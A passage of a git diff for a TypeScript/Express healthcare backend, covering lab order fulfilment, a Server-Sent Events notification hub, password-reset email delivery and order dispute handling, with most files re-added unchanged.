input.referenceNumber.trim().length === 0) { + throw new HttpError(400, 'Reference number is required for fulfillment proof.'); + } + + const facilityProfile = await prisma.facilityProfile.findUnique({ + where: { userId: facilityUserId }, + }); + if (!facilityProfile) { + throw new HttpError(403, 'Facility profile required.'); + } + + let attachmentUrl: string | undefined = undefined; + if (input.attachment) { + attachmentUrl = await storageService.uploadAttachment(input.attachment); + } + + const result = await prisma.$transaction(async (tx) => { + const existing = await repo.findOrderById(tx, orderId, 'lab'); + if (!existing) { + throw new HttpError(404, 'Lab order not found.'); + } + if (existing.status === 'fulfilled') { + throw new HttpError(409, 'Lab order has already been fulfilled.'); + } + if (existing.status !== 'issued') { + throw new HttpError(400, `Lab order cannot be fulfilled from status: ${existing.status}`); + } + + const marked = await repo.markOrderFulfilled(tx, orderId, facilityProfile.id); + if (!marked) { + throw new HttpError(409, 'Failed to transition order status to fulfilled.'); + } + + await repo.createFulfillmentProof(tx, { + orderId, + facilityProfileId: facilityProfile.id, + referenceNumber: input.referenceNumber.trim(), + attachmentUrl, + notes: input.notes, + }); + + await record(tx, actor, { + entityType: 'Order', + entityId: orderId, + action: 'order.fulfilled', + fromState: 'issued', + toState: 'fulfilled', + metadata: { + orderType: 'lab', + referenceNumber: input.referenceNumber.trim(), + facilityProfileId: facilityProfile.id, + }, + }); + + const updated = await repo.findOrderById(tx, orderId, 'lab'); + if (!updated) { + throw new HttpError(500, 'Failed to fetch updated order.'); + } + return updated; + }); + + return formatOrderResponse(result); +} + +export async function getLabOrderById(orderId: string) { + if (!orderId || typeof orderId !== 'string') { + throw new HttpError(400, 'Order ID is required.'); + } + const order = await repo.findOrderById(prisma, orderId, 'lab'); + if (!order) { + throw new HttpError(404, 'Lab order not found.'); + } + return formatOrderResponse(order); +} diff --git a/backend/src/modules/notifications/channels/sendgrid.ts b/backend/src/modules/notifications/channels/sendgrid.ts index 16dbae22..a8012518 100644 --- a/backend/src/modules/notifications/channels/sendgrid.ts +++ b/backend/src/modules/notifications/channels/sendgrid.ts @@ -1,21 +1,21 @@ -import sendGrid from '@sendgrid/mail'; -import type { NotificationChannel } from '../services/index'; - -export interface SendGridConfig { - fromEmail?: string; -} - -const defaultConfig: SendGridConfig = { - fromEmail: 'noreply@docforum.local', -}; - -export const sendgridNotificationChannel: NotificationChannel = { - async send(_message, _channel = 'email') { - await sendGrid.send({ - to: _message.to as any, - from: process.env.SENDGRID_FROM_EMAIL || defaultConfig.fromEmail, - subject: _message.subject, - text: _message.body, - } as any); - }, +import sendGrid from '@sendgrid/mail'; +import type { NotificationChannel } from '../services/index'; + +export interface SendGridConfig { + fromEmail?: string; +} + +const defaultConfig: SendGridConfig = { + fromEmail: 'noreply@docforum.local', +}; + +export const sendgridNotificationChannel: NotificationChannel = { + async send(_message, _channel = 'email') { + await sendGrid.send({ + to: _message.to as any, + from: process.env.SENDGRID_FROM_EMAIL || defaultConfig.fromEmail, + subject: _message.subject, + text: _message.body, + } as any); + }, }; \ No newline at end of file diff --git a/backend/src/modules/notifications/controllers/index.ts b/backend/src/modules/notifications/controllers/index.ts index 698f1441..4c9e4c4c 100644 --- a/backend/src/modules/notifications/controllers/index.ts +++ b/backend/src/modules/notifications/controllers/index.ts @@ -1,49 +1,49 @@ -// notifications controllers β€” the SSE stream endpoint (issue #97). -import type { Request, Response } from 'express'; -import { HttpError } from '../../../http-error'; -import { verifyAccessToken } from '../../auth/services'; -import { notificationHub, tokenExpiredFrame } from '../services/stream'; - -/** Heartbeat comment interval. Keeps proxies from closing an idle stream. */ -const HEARTBEAT_MS = 15_000; -/** Client retry hint sent once on connect, in milliseconds. */ -const RETRY_MS = 5_000; - -export function stream(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const userId = req.user.id; - - // The access token expires mid-stream. Read its `exp` to schedule the close. - const token = req.headers.authorization?.slice('Bearer '.length) ?? ''; - const exp = (verifyAccessToken(token) as { exp?: number }).exp; - - // Registering first means a 429 is returned before any stream headers go out. - const unsubscribe = notificationHub.subscribe(userId, { - write: (frame: string) => res.write(frame), - }); - - res.status(200); - res.setHeader('Content-Type', 'text/event-stream'); - res.setHeader('Cache-Control', 'no-cache, no-transform'); - res.setHeader('Connection', 'keep-alive'); - // Stops nginx-style proxies from buffering the stream. Render's proxy honours it too. - res.setHeader('X-Accel-Buffering', 'no'); - res.flushHeaders(); - res.write(`retry: ${RETRY_MS}\n\n`); - - // `Last-Event-ID` is accepted but not replayed yet; see services/stream.ts. - const heartbeat = setInterval(() => res.write(': heartbeat\n\n'), HEARTBEAT_MS); - const expiry = - exp === undefined - ? undefined - : setTimeout(() => { - res.write(tokenExpiredFrame()); - res.end(); - }, Math.max(0, exp * 1000 - Date.now())); - - req.on('close', () => { - clearInterval(heartbeat); - if (expiry) clearTimeout(expiry); - unsubscribe(); - }); -} +// notifications controllers β€” the SSE stream endpoint (issue #97). +import type { Request, Response } from 'express'; +import { HttpError } from '../../../http-error'; +import { verifyAccessToken } from '../../auth/services'; +import { notificationHub, tokenExpiredFrame } from '../services/stream'; + +/** Heartbeat comment interval. Keeps proxies from closing an idle stream. */ +const HEARTBEAT_MS = 15_000; +/** Client retry hint sent once on connect, in milliseconds. */ +const RETRY_MS = 5_000; + +export function stream(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const userId = req.user.id; + + // The access token expires mid-stream. Read its `exp` to schedule the close. + const token = req.headers.authorization?.slice('Bearer '.length) ?? ''; + const exp = (verifyAccessToken(token) as { exp?: number }).exp; + + // Registering first means a 429 is returned before any stream headers go out. + const unsubscribe = notificationHub.subscribe(userId, { + write: (frame: string) => res.write(frame), + }); + + res.status(200); + res.setHeader('Content-Type', 'text/event-stream'); + res.setHeader('Cache-Control', 'no-cache, no-transform'); + res.setHeader('Connection', 'keep-alive'); + // Stops nginx-style proxies from buffering the stream. Render's proxy honours it too. + res.setHeader('X-Accel-Buffering', 'no'); + res.flushHeaders(); + res.write(`retry: ${RETRY_MS}\n\n`); + + // `Last-Event-ID` is accepted but not replayed yet; see services/stream.ts. + const heartbeat = setInterval(() => res.write(': heartbeat\n\n'), HEARTBEAT_MS); + const expiry = + exp === undefined + ? undefined + : setTimeout(() => { + res.write(tokenExpiredFrame()); + res.end(); + }, Math.max(0, exp * 1000 - Date.now())); + + req.on('close', () => { + clearInterval(heartbeat); + if (expiry) clearTimeout(expiry); + unsubscribe(); + }); +} diff --git a/backend/src/modules/notifications/repositories/index.ts b/backend/src/modules/notifications/repositories/index.ts index 30c17f2a..6b7038a9 100644 --- a/backend/src/modules/notifications/repositories/index.ts +++ b/backend/src/modules/notifications/repositories/index.ts @@ -1,10 +1,10 @@ -// notifications repositories β€” placeholder. Data access only. Not to be -// imported by other modules directly β€” go through services/ instead. -// -// No persistence yet on purpose: the `Notification` model in schema.prisma -// is still the Phase 0 placeholder (no userId column, ARCHITECTURE.md Β§4.8), -// and the in-app notification feed is Phase 6 β€” which is blocked on the -// trigger points in Phases 3/4 (ROADMAP.md). Outbound *delivery* (including -// the password reset link, #33) does not need that model, so it goes -// through services/ without a DB row rather than inventing one here. -export {}; +// notifications repositories β€” placeholder. Data access only. Not to be +// imported by other modules directly β€” go through services/ instead. +// +// No persistence yet on purpose: the `Notification` model in schema.prisma +// is still the Phase 0 placeholder (no userId column, ARCHITECTURE.md Β§4.8), +// and the in-app notification feed is Phase 6 β€” which is blocked on the +// trigger points in Phases 3/4 (ROADMAP.md). Outbound *delivery* (including +// the password reset link, #33) does not need that model, so it goes +// through services/ without a DB row rather than inventing one here. +export {}; diff --git a/backend/src/modules/notifications/routes/index.ts b/backend/src/modules/notifications/routes/index.ts index 8f298ed4..a7c94d4e 100644 --- a/backend/src/modules/notifications/routes/index.ts +++ b/backend/src/modules/notifications/routes/index.ts @@ -1,9 +1,9 @@ -// notifications routes. Mounted at `/notifications` in app.ts. -import { Router } from 'express'; -import { authenticate } from '../../../middleware/auth'; -import * as notificationsController from '../controllers'; - -export const notificationsRouter = Router(); - -// Server-Sent Events stream for the caller's own notifications (issue #97). -notificationsRouter.get('/stream', authenticate, notificationsController.stream); +// notifications routes. Mounted at `/notifications` in app.ts. +import { Router } from 'express'; +import { authenticate } from '../../../middleware/auth'; +import * as notificationsController from '../controllers'; + +export const notificationsRouter = Router(); + +// Server-Sent Events stream for the caller's own notifications (issue #97). +notificationsRouter.get('/stream', authenticate, notificationsController.stream); diff --git a/backend/src/modules/notifications/services/index.ts b/backend/src/modules/notifications/services/index.ts index 933eed1c..d0f15e78 100644 --- a/backend/src/modules/notifications/services/index.ts +++ b/backend/src/modules/notifications/services/index.ts @@ -1,67 +1,67 @@ -// notifications services β€” the only exported surface other modules may -// call. Other modules must only import from here, never from -// repositories/ directly. See AGENTS.md "Non-negotiable rules". -// -// Provider-agnostic by design (ARCHITECTURE.md Β§1.5 / Β§2, PRD OQ / issue -// #17): outbound delivery goes through a `NotificationChannel` interface, -// and the default implementation is a console adapter. The default real -// provider is decided in docs/adr/ (see ADR for the email/SMS provider -// decision). Wiring that provider in is a new adapter behind this same -// interface β€” only the adapter changes, feature code does not. -import { config } from '../../../config'; -import { formatMessage, resolveLocale } from '../../../i18n'; - -export interface NotificationMessage { - /** Destination address β€” an email for now (the only channel interface we need). */ - to: string; - subject: string; - body: string; -} - -export interface NotificationChannel { - send(message: NotificationMessage): Promise; -} - -/** Dev/default adapter. Writes the message to stdout instead of sending - * it anywhere β€” the only way to read a reset link in local dev until the - * decided provider adapter is wired in. Never logs a password, only the - * single-use link (whose token is useless once used/expired). */ -export const consoleNotificationChannel: NotificationChannel = { - async send(message: NotificationMessage) { - // eslint-disable-next-line no-console - console.log(`[notifications] β†’ ${message.to}\n${message.subject}\n${message.body}`); - }, -}; - -let channel: NotificationChannel = consoleNotificationChannel; - -/** Swap the delivery adapter (real provider in prod, a spy in tests). - * Returns the previous channel so callers can restore it. */ -export function setNotificationChannel(next: NotificationChannel): NotificationChannel { - const previous = channel; - channel = next; - return previous; -} - -export async function send(message: NotificationMessage): Promise { - await channel.send(message); -} - -/** Single-use, expiring reset link. The raw token is passed through to - * the channel and never stored β€” only its hash is (auth module's - * repository). */ -export async function sendPasswordResetLink(input: { - email: string; - token: string; - expiresAt: Date; - locale?: string; -}): Promise { - const link = `${config.appBaseUrl}/reset-password?token=${encodeURIComponent(input.token)}`; - const minutes = Math.round((input.expiresAt.getTime() - Date.now()) / 60_000); - const locale = resolveLocale(input.locale); - await send({ - to: input.email, - subject: formatMessage(locale, 'notifications.passwordReset.subject'), - body: formatMessage(locale, 'notifications.passwordReset.body', { minutes, link }), - }); -} +// notifications services β€” the only exported surface other modules may +// call. Other modules must only import from here, never from +// repositories/ directly. See AGENTS.md "Non-negotiable rules". +// +// Provider-agnostic by design (ARCHITECTURE.md Β§1.5 / Β§2, PRD OQ / issue +// #17): outbound delivery goes through a `NotificationChannel` interface, +// and the default implementation is a console adapter. The default real +// provider is decided in docs/adr/ (see ADR for the email/SMS provider +// decision). Wiring that provider in is a new adapter behind this same +// interface β€” only the adapter changes, feature code does not. +import { config } from '../../../config'; +import { formatMessage, resolveLocale } from '../../../i18n'; + +export interface NotificationMessage { + /** Destination address β€” an email for now (the only channel interface we need). */ + to: string; + subject: string; + body: string; +} + +export interface NotificationChannel { + send(message: NotificationMessage): Promise; +} + +/** Dev/default adapter. Writes the message to stdout instead of sending + * it anywhere β€” the only way to read a reset link in local dev until the + * decided provider adapter is wired in. Never logs a password, only the + * single-use link (whose token is useless once used/expired). */ +export const consoleNotificationChannel: NotificationChannel = { + async send(message: NotificationMessage) { + // eslint-disable-next-line no-console + console.log(`[notifications] β†’ ${message.to}\n${message.subject}\n${message.body}`); + }, +}; + +let channel: NotificationChannel = consoleNotificationChannel; + +/** Swap the delivery adapter (real provider in prod, a spy in tests). + * Returns the previous channel so callers can restore it. */ +export function setNotificationChannel(next: NotificationChannel): NotificationChannel { + const previous = channel; + channel = next; + return previous; +} + +export async function send(message: NotificationMessage): Promise { + await channel.send(message); +} + +/** Single-use, expiring reset link. The raw token is passed through to + * the channel and never stored β€” only its hash is (auth module's + * repository). */ +export async function sendPasswordResetLink(input: { + email: string; + token: string; + expiresAt: Date; + locale?: string; +}): Promise { + const link = `${config.appBaseUrl}/reset-password?token=${encodeURIComponent(input.token)}`; + const minutes = Math.round((input.expiresAt.getTime() - Date.now()) / 60_000); + const locale = resolveLocale(input.locale); + await send({ + to: input.email, + subject: formatMessage(locale, 'notifications.passwordReset.subject'), + body: formatMessage(locale, 'notifications.passwordReset.body', { minutes, link }), + }); +} diff --git a/backend/src/modules/notifications/services/stream.ts b/backend/src/modules/notifications/services/stream.ts index 24c5736d..38a15f9c 100644 --- a/backend/src/modules/notifications/services/stream.ts +++ b/backend/src/modules/notifications/services/stream.ts @@ -1,80 +1,80 @@ -// Real-time notification fan-out over Server-Sent Events (Phase 6, issue #97). -// -// This is the in-process part: a hub that holds open streams per user and -// delivers events to them. Persisted replay (Last-Event-ID resume from the -// database) and cross-instance delivery through Postgres LISTEN/NOTIFY are -// not here yet. They need the `Notification.userId` field, which is still a -// schema TODO, and the notification dispatch interface from the same issue. -import { HttpError } from '../../../http-error'; - -/** Open streams one user may hold at once. Beyond this the stream returns 429. */ -export const MAX_STREAMS_PER_USER = 5; - -export interface StreamEvent { - /** Event id sent in the `id:` field. Clients echo it back as `Last-Event-ID`. */ - id?: string; - /** Named event, e.g. `notification` or `token-expired`. Omitted means the default `message` event. */ - event?: string; - data: unknown; -} - -/** - * Encode one event as an SSE frame. Multi-line data is split into several - * `data:` lines, as the SSE format requires. - */ -export function formatSseEvent(event: StreamEvent): string { - const lines: string[] = []; - if (event.id !== undefined) lines.push(`id: ${event.id}`); - if (event.event !== undefined) lines.push(`event: ${event.event}`); - for (const line of JSON.stringify(event.data).split('\n')) lines.push(`data: ${line}`); - return `${lines.join('\n')}\n\n`; -} - -export interface StreamSink { - write(frame: string): void; -} - -export class NotificationHub { - private readonly streams = new Map>(); - - /** - * Register a stream for `userId`. Throws 429 when the user is already at - * the cap. Returns an `unsubscribe` function that the caller must invoke - * when the connection closes. - */ - subscribe(userId: string, sink: StreamSink, maxPerUser = MAX_STREAMS_PER_USER): () => void { - const existing = this.streams.get(userId) ?? new Set(); - if (existing.size >= maxPerUser) { - throw new HttpError(429, 'Too many open notification streams. Close one and try again.', 'STREAM_LIMIT'); - } - existing.add(sink); - this.streams.set(userId, existing); - return () => { - const current = this.streams.get(userId); - if (!current) return; - current.delete(sink); - if (current.size === 0) this.streams.delete(userId); - }; - } - - /** Deliver an event to every open stream for `userId`. Returns how many streams received it. */ - publish(userId: string, event: StreamEvent): number { - const sinks = this.streams.get(userId); - if (!sinks) return 0; - const frame = formatSseEvent(event); - for (const sink of sinks) sink.write(frame); - return sinks.size; - } - - /** Open stream count for a user. Used by tests and diagnostics. */ - count(userId: string): number { - return this.streams.get(userId)?.size ?? 0; - } -} - -export const notificationHub = new NotificationHub(); - -/** Write a `token-expired` event so the client knows to refresh and reconnect. */ -export function tokenExpiredFrame(): string { - return formatSseEvent({ event: 'token-expired', data: { reason: 'access-token-expired' } }); -} +// Real-time notification fan-out over Server-Sent Events (Phase 6, issue #97). +// +// This is the in-process part: a hub that holds open streams per user and +// delivers events to them. Persisted replay (Last-Event-ID resume from the +// database) and cross-instance delivery through Postgres LISTEN/NOTIFY are +// not here yet. They need the `Notification.userId` field, which is still a +// schema TODO, and the notification dispatch interface from the same issue. +import { HttpError } from '../../../http-error'; + +/** Open streams one user may hold at once. Beyond this the stream returns 429. */ +export const MAX_STREAMS_PER_USER = 5; + +export interface StreamEvent { + /** Event id sent in the `id:` field. Clients echo it back as `Last-Event-ID`. */ + id?: string; + /** Named event, e.g. `notification` or `token-expired`. Omitted means the default `message` event. */ + event?: string; + data: unknown; +} + +/** + * Encode one event as an SSE frame. Multi-line data is split into several + * `data:` lines, as the SSE format requires. + */ +export function formatSseEvent(event: StreamEvent): string { + const lines: string[] = []; + if (event.id !== undefined) lines.push(`id: ${event.id}`); + if (event.event !== undefined) lines.push(`event: ${event.event}`); + for (const line of JSON.stringify(event.data).split('\n')) lines.push(`data: ${line}`); + return `${lines.join('\n')}\n\n`; +} + +export interface StreamSink { + write(frame: string): void; +} + +export class NotificationHub { + private readonly streams = new Map>(); + + /** + * Register a stream for `userId`. Throws 429 when the user is already at + * the cap. Returns an `unsubscribe` function that the caller must invoke + * when the connection closes. + */ + subscribe(userId: string, sink: StreamSink, maxPerUser = MAX_STREAMS_PER_USER): () => void { + const existing = this.streams.get(userId) ?? new Set(); + if (existing.size >= maxPerUser) { + throw new HttpError(429, 'Too many open notification streams. Close one and try again.', 'STREAM_LIMIT'); + } + existing.add(sink); + this.streams.set(userId, existing); + return () => { + const current = this.streams.get(userId); + if (!current) return; + current.delete(sink); + if (current.size === 0) this.streams.delete(userId); + }; + } + + /** Deliver an event to every open stream for `userId`. Returns how many streams received it. */ + publish(userId: string, event: StreamEvent): number { + const sinks = this.streams.get(userId); + if (!sinks) return 0; + const frame = formatSseEvent(event); + for (const sink of sinks) sink.write(frame); + return sinks.size; + } + + /** Open stream count for a user. Used by tests and diagnostics. */ + count(userId: string): number { + return this.streams.get(userId)?.size ?? 0; + } +} + +export const notificationHub = new NotificationHub(); + +/** Write a `token-expired` event so the client knows to refresh and reconnect. */ +export function tokenExpiredFrame(): string { + return formatSseEvent({ event: 'token-expired', data: { reason: 'access-token-expired' } }); +} diff --git a/backend/src/modules/orders/controllers/admin.ts b/backend/src/modules/orders/controllers/admin.ts index 35bb2f09..5df7915e 100644 --- a/backend/src/modules/orders/controllers/admin.ts +++ b/backend/src/modules/orders/controllers/admin.ts @@ -1,24 +1,24 @@ -import type { Request, Response } from 'express'; -import { auditActor } from '../../../middleware/request-id'; -import * as adminServices from '../services/admin'; -import type { DisputeStatus } from '@prisma/client'; - -export async function listDisputes(req: Request, res: Response) { - const statusParam = req.query.status as DisputeStatus | undefined; - const disputes = await adminServices.listDisputes(statusParam); - res.status(200).json(disputes); -} - -export async function resolveDispute(req: Request, res: Response) { - const disputeId = req.params.id as string; - const { resolutionNotes, outcome, status } = req.body || {}; - const actor = auditActor(req); - const resolvedOutcome = (outcome || status || 'resolved') as string; - const resolution = await adminServices.resolveDispute( - disputeId, - req.user!.id, - { resolutionNotes, outcome: resolvedOutcome }, - actor, - ); - res.status(200).json(resolution); -} +import type { Request, Response } from 'express'; +import { auditActor } from '../../../middleware/request-id'; +import * as adminServices from '../services/admin'; +import type { DisputeStatus } from '@prisma/client'; + +export async function listDisputes(req: Request, res: Response) { + const statusParam = req.query.status as DisputeStatus | undefined; + const disputes = await adminServices.listDisputes(statusParam); + res.status(200).json(disputes); +} + +export async function resolveDispute(req: Request, res: Response) { + const disputeId = req.params.id as string; + const { resolutionNotes, outcome, status } = req.body || {}; + const actor = auditActor(req); + const resolvedOutcome = (outcome || status || 'resolved') as string; + const resolution = await adminServices.resolveDispute( + disputeId, + req.user!.id, + { resolutionNotes, outcome: resolvedOutcome }, + actor, + ); + res.status(200).json(resolution); +} diff --git a/backend/src/modules/orders/controllers/index.ts b/backend/src/modules/orders/controllers/index.ts index 13746995..c3746a3a 100644 --- a/backend/src/modules/orders/controllers/index.ts +++ b/backend/src/modules/orders/controllers/index.ts @@ -1,49 +1,49 @@ -import type { Request, Response } from 'express'; -import * as ordersService from '../services'; -import { consultationSchema, labOrderSchema, prescriptionSchema } from '../validation'; -import { getParam } from '../../../request-params'; -import { auditActor } from '../../../middleware/request-id'; - -function serialize(value: unknown) { - return JSON.parse(JSON.stringify(value, (_key, field) => typeof field === 'bigint' ? field.toString() : field)); -} - -export async function createConsultation(req: Request, res: Response) { - const input = consultationSchema.parse(req.body); - res.status(201).json(serialize(await ordersService.createConsultation(auditActor(req), { - appointmentId: input.appointmentId, outcome: input.outcome ?? null, notes: input.notes ?? null, - }))); -} - -export async function issuePrescription(req: Request, res: Response) { - const input = prescriptionSchema.parse(req.body); - const order = await ordersService.issuePrescription(auditActor(req), { ...input, consultationId: getParam(req, 'consultationId') }); - res.status(201).json(serialize(order)); -} - -export async function issueLabOrder(req: Request, res: Response) { - const input = labOrderSchema.parse(req.body); - const order = await ordersService.issueLabOrder(auditActor(req), { ...input, consultationId: getParam(req, 'consultationId') }); - res.status(201).json(serialize(order)); -} - -export async function confirmReceipt(req: Request, res: Response) { - const id = req.params.id as string; - const actor = auditActor(req); - const order = await ordersService.confirmOrderReceipt(id, req.user!.id, actor); - res.status(200).json(serialize(order)); -} - -export async function disputeOrder(req: Request, res: Response) { - const id = req.params.id as string; - const { reason } = req.body || {}; - const actor = auditActor(req); - const order = await ordersService.disputeOrder(id, req.user!.id, reason, actor); - res.status(200).json(serialize(order)); -} - -export async function getOrder(req: Request, res: Response) { - const id = req.params.id as string; - const order = await ordersService.getOrderById(id); - res.status(200).json(serialize(order)); -} +import type { Request, Response } from 'express'; +import * as ordersService from '../services'; +import { consultationSchema, labOrderSchema, prescriptionSchema } from '../validation'; +import { getParam } from '../../../request-params'; +import { auditActor } from '../../../middleware/request-id'; + +function serialize(value: unknown) { + return JSON.parse(JSON.stringify(value, (_key, field) => typeof field === 'bigint' ? field.toString() : field)); +} + +export async function createConsultation(req: Request, res: Response) { + const input = consultationSchema.parse(req.body); + res.status(201).json(serialize(await ordersService.createConsultation(auditActor(req), { + appointmentId: input.appointmentId, outcome: input.outcome ?? null, notes: input.notes ?? null, + }))); +} + +export async function issuePrescription(req: Request, res: Response) { + const input = prescriptionSchema.parse(req.body); + const order = await ordersService.issuePrescription(auditActor(req), { ...input, consultationId: getParam(req, 'consultationId') }); + res.status(201).json(serialize(order)); +} + +export async function issueLabOrder(req: Request, res: Response) { + const input = labOrderSchema.parse(req.body); + const order = await ordersService.issueLabOrder(auditActor(req), { ...input, consultationId: getParam(req, 'consultationId') }); + res.status(201).json(serialize(order)); +} + +export async function confirmReceipt(req: Request, res: Response) { + const id = req.params.id as string; + const actor = auditActor(req); + const order = await ordersService.confirmOrderReceipt(id, req.user!.id, actor); + res.status(200).json(serialize(order)); +} + +export async function disputeOrder(req: Request, res: Response) { + const id = req.params.id as string; + const { reason } = req.body || {}; + const actor = auditActor(req); + const order = await ordersService.disputeOrder(id, req.user!.id, reason, actor); + res.status(200).json(serialize(order)); +} + +export async function getOrder(req: Request, res: Response) { + const id = req.params.id as string; + const order = await ordersService.getOrderById(id); + res.status(200).json(serialize(order)); +} diff --git a/backend/src/modules/orders/repositories/index.ts b/backend/src/modules/orders/repositories/index.ts index 873cfb1c..497804ea 100644 --- a/backend/src/modules/orders/repositories/index.ts +++ b/backend/src/modules/orders/repositories/index.ts @@ -1,144 +1,144 @@ -import { prisma } from '../../../db/prisma-client'; -import type { Prisma } from '@prisma/client'; - -type DbClient = typeof prisma | Prisma.TransactionClient; - -// Consultation rows are owned by the consultations module; this module goes -// through its services (see orders/services) rather than writing them here. - -export function findPrescriptionForCorrection(id: string, db: DbClient = prisma) { - return db.prescription.findUnique({ where: { id }, include: { correctedBy: true } }); -} - -export function createPrescription(db: DbClient, input: { - consultationId: string; patientProfileId: string; prescribingDoctorId: string; - facilityProfileId: string; amountStroops: bigint; supersedesPrescriptionId: string | null; - items: Array<{ drugName: string; dosage: string; frequency: string; duration: string }>; -}) { - const { items, ...data } = input; - return db.prescription.create({ data: { ...data, items: { create: items } }, include: { items: true } }); -} - -export function findLabOrderForCorrection(id: string, db: DbClient = prisma) { - return db.labOrder.findUnique({ where: { id }, include: { correctedBy: true } }); -} - -export function createLabOrder(db: DbClient, input: { - consultationId: string; patientProfileId: string; orderingDoctorId: string; - facilityProfileId: string; amountStroops: bigint; testType: string; urgency: 'routine' | 'urgent'; - notes: string | null; supersedesLabOrderId: string | null; -}) { - return db.labOrder.create({ data: input }); -} - -export function findPrescriptionExportPage(patientProfileId: string, cursor: string | undefined, take: number) { - return prisma.prescription.findMany({ - where: { patientProfileId }, orderBy: [{ id: 'asc' }], take, - ...(cursor ? { cursor: { id: cursor }, skip: 1 } : {}), include: { items: true }, - }); -} - -export function findLabOrderExportPage(patientProfileId: string, cursor: string | undefined, take: number) { - return prisma.labOrder.findMany({ - where: { patientProfileId }, orderBy: [{ id: 'asc' }], take, - ...(cursor ? { cursor: { id: cursor }, skip: 1 } : {}), include: { result: true }, - }); -} - -export async function patientHasOrders(patientProfileId: string): Promise { - const [prescription, labOrder] = await Promise.all([ - prisma.prescription.findFirst({ where: { patientProfileId }, select: { id: true } }), - prisma.labOrder.findFirst({ where: { patientProfileId }, select: { id: true } }), - ]); - return prescription !== null || labOrder !== null; -} - -export async function findOrderForPatient( - tx: Prisma.TransactionClient, - orderId: string, - patientProfileId: string, -) { - return tx.order.findFirst({ - where: { - id: orderId, - patientProfileId, - }, - include: { - fulfillmentProofs: true, - disputes: { - include: { - resolutions: true, - }, - }, - }, - }); -} - -export async function confirmOrderReceiptConditional( - tx: Prisma.TransactionClient, - orderId: string, - patientProfileId: string, - windowStart: Date, -) { - const result = await tx.order.updateMany({ - where: { - id: orderId, - patientProfileId, - status: 'fulfilled', - confirmed: false, - disputed: false, - fulfilledAt: { - gte: windowStart, - }, - }, - data: { - confirmed: true, - confirmedAt: new Date(), - confirmationSource: 'patient', - }, - }); - return result.count > 0; -} - -export async function disputeOrderConditional( - tx: Prisma.TransactionClient, - orderId: string, - patientProfileId: string, - windowStart: Date, -) { - const result = await tx.order.updateMany({ - where: { - id: orderId, - patientProfileId, - status: 'fulfilled', - confirmed: false, - disputed: false, - fulfilledAt: { - gte: windowStart, - }, - }, - data: { - disputed: true, - disputedAt: new Date(), - }, - }); - return result.count > 0; -} - -export async function createOrderDispute( - tx: Prisma.TransactionClient, - data: { - orderId: string; - patientProfileId: string; - reason: string; - }, -) { - return tx.orderDispute.create({ - data: { - orderId: data.orderId, - patientProfileId: data.patientProfileId, - reason: data.reason, - status: 'pending', - }, - }); -} +import { prisma } from '../../../db/prisma-client'; +import type { Prisma } from '@prisma/client'; + +type DbClient = typeof prisma | Prisma.TransactionClient; + +// Consultation rows are owned by the consultations module; this module goes +// through its services (see orders/services) rather than writing them here. + +export function findPrescriptionForCorrection(id: string, db: DbClient = prisma) { + return db.prescription.findUnique({ where: { id }, include: { correctedBy: true } }); +} + +export function createPrescription(db: DbClient, input: { + consultationId: string; patientProfileId: string; prescribingDoctorId: string; + facilityProfileId: string; amountStroops: bigint; supersedesPrescriptionId: string | null; + items: Array<{ drugName: string; dosage: string; frequency: string; duration: string }>; +}) { + const { items, ...data } = input; + return db.prescription.create({ data: { ...data, items: { create: items } }, include: { items: true } }); +} + +export function findLabOrderForCorrection(id: string, db: DbClient = prisma) { + return db.labOrder.findUnique({ where: { id }, include: { correctedBy: true } }); +} + +export function createLabOrder(db: DbClient, input: { + consultationId: string; patientProfileId: string; orderingDoctorId: string; + facilityProfileId: string; amountStroops: bigint; testType: string; urgency: 'routine' | 'urgent'; + notes: string | null; supersedesLabOrderId: string | null; +}) { + return db.labOrder.create({ data: input }); +} + +export function findPrescriptionExportPage(patientProfileId: string, cursor: string | undefined, take: number) { + return prisma.prescription.findMany({ + where: { patientProfileId }, orderBy: [{ id: 'asc' }], take, + ...(cursor ? { cursor: { id: cursor }, skip: 1 } : {}), include: { items: true }, + }); +} + +export function findLabOrderExportPage(patientProfileId: string, cursor: string | undefined, take: number) { + return prisma.labOrder.findMany({ + where: { patientProfileId }, orderBy: [{ id: 'asc' }], take, + ...(cursor ? { cursor: { id: cursor }, skip: 1 } : {}), include: { result: true }, + }); +} + +export async function patientHasOrders(patientProfileId: string): Promise { + const [prescription, labOrder] = await Promise.all([ + prisma.prescription.findFirst({ where: { patientProfileId }, select: { id: true } }), + prisma.labOrder.findFirst({ where: { patientProfileId }, select: { id: true } }), + ]); + return prescription !== null || labOrder !== null; +} + +export async function findOrderForPatient( + tx: Prisma.TransactionClient, + orderId: string, + patientProfileId: string, +) { + return tx.order.findFirst({ + where: { + id: orderId, + patientProfileId, + }, + include: { + fulfillmentProofs: true, + disputes: { + include: { + resolutions: true, + }, + }, + }, + }); +} + +export async function confirmOrderReceiptConditional( + tx: Prisma.TransactionClient, + orderId: string, + patientProfileId: string, + windowStart: Date, +) { + const result = await tx.order.updateMany({ + where: { + id: orderId, + patientProfileId, + status: 'fulfilled', + confirmed: false, + disputed: false, + fulfilledAt: { + gte: windowStart, + }, + }, + data: { + confirmed: true, + confirmedAt: new Date(), + confirmationSource: 'patient', + }, + }); + return result.count > 0; +} + +export async function disputeOrderConditional( + tx: Prisma.TransactionClient, + orderId: string, + patientProfileId: string, + windowStart: Date, +) { + const result = await tx.order.updateMany({ + where: { + id: orderId, + patientProfileId, + status: 'fulfilled', + confirmed: false, + disputed: false, + fulfilledAt: { + gte: windowStart, + }, + }, + data: { + disputed: true, + disputedAt: new Date(), + }, + }); + return result.count > 0; +} + +export async function createOrderDispute( + tx: Prisma.TransactionClient, + data: { + orderId: string; + patientProfileId: string; + reason: string; + }, +) { + return tx.orderDispute.create({ + data: { + orderId: data.orderId, + patientProfileId: data.patientProfileId, + reason: data.reason, + status: 'pending', + }, + }); +} diff --git a/backend/src/modules/orders/routes/admin.ts b/backend/src/modules/orders/routes/admin.ts index 9ffd31a4..e036fb5c 100644 --- a/backend/src/modules/orders/routes/admin.ts +++ b/backend/src/modules/orders/routes/admin.ts @@ -1,21 +1,21 @@ -import { Router } from 'express'; -import { authenticate, requireRole } from '../../../middleware/auth'; -import * as adminController from '../controllers/admin'; - -export const adminOrdersRouter = Router(); - -adminOrdersRouter.get( - '/orders/disputes', - authenticate, - requireRole('admin'), - adminController.listDisputes, -); - -adminOrdersRouter.post( - '/orders/disputes/:id/resolve', - authenticate, - requireRole('admin'), - 